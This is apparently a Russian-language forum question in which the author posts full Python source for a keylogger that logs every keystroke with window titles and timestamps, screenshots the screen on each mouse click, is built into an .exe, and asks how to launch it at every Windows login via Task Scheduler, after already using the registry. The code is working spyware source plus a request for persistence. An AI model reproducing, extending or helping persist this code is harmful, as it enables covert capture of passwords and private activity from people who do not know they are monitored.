Я написал простой кейлоггер на Python, и он отлично работает до тех пор, пока .... Я пытаюсь запланировать его запуск при каждом входе в систему. Программа просто не может подключать мышь и клавиатуру, если я использую по умолчанию Microsoft Windows Планировщик заданий. Мне удалось запустить его при входе в систему с использованием реестра Windows. Но я не нашел решения просто запустить его как задачу.
Вот код:
from pynput import keyboard
from pynput import mouse
import logging
from win32gui import GetWindowText, GetForegroundWindow
from datetime import datetime
from pathlib import Path
import time
window = ""
def writetofile(key):
global window
current_window = GetWindowText(GetForegroundWindow())
with open("c:\\keylogger\\pynput.txt", 'a') as f:
if current_window != window:
window = current_window
f.write("\n===[[[ {0} - {1} ]]]===\n".format(window,datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
if hasattr(key,'char'):
f.write("{0}".format(key.char))
else:
k = str(key)
k = k.split(".")
k = k[-1]
f.write("[{0}]".format(k))
def screenshot():
from PIL import ImageGrab
filename = "{0}.jpg".format(int(time.time()))
save_path = Path("c:\\keylogger") / filename
ImageGrab.grab().save(save_path, 'JPEG', optimize=True, quality=50)
def onclick(x,y,button,pressed):
screenshot()
# kb_listenter = keyboard.Listener(on_press=writetofile)
# kb_listenter.start()
with mouse.Listener(on_click=onclick) as m_l:
with keyboard.Listener(on_press=writetofile) as kb_l:
kb_l.join()
m_l.join()
Чтобы сделать его одним .exe, я просто использовал vanilla pyinstaller.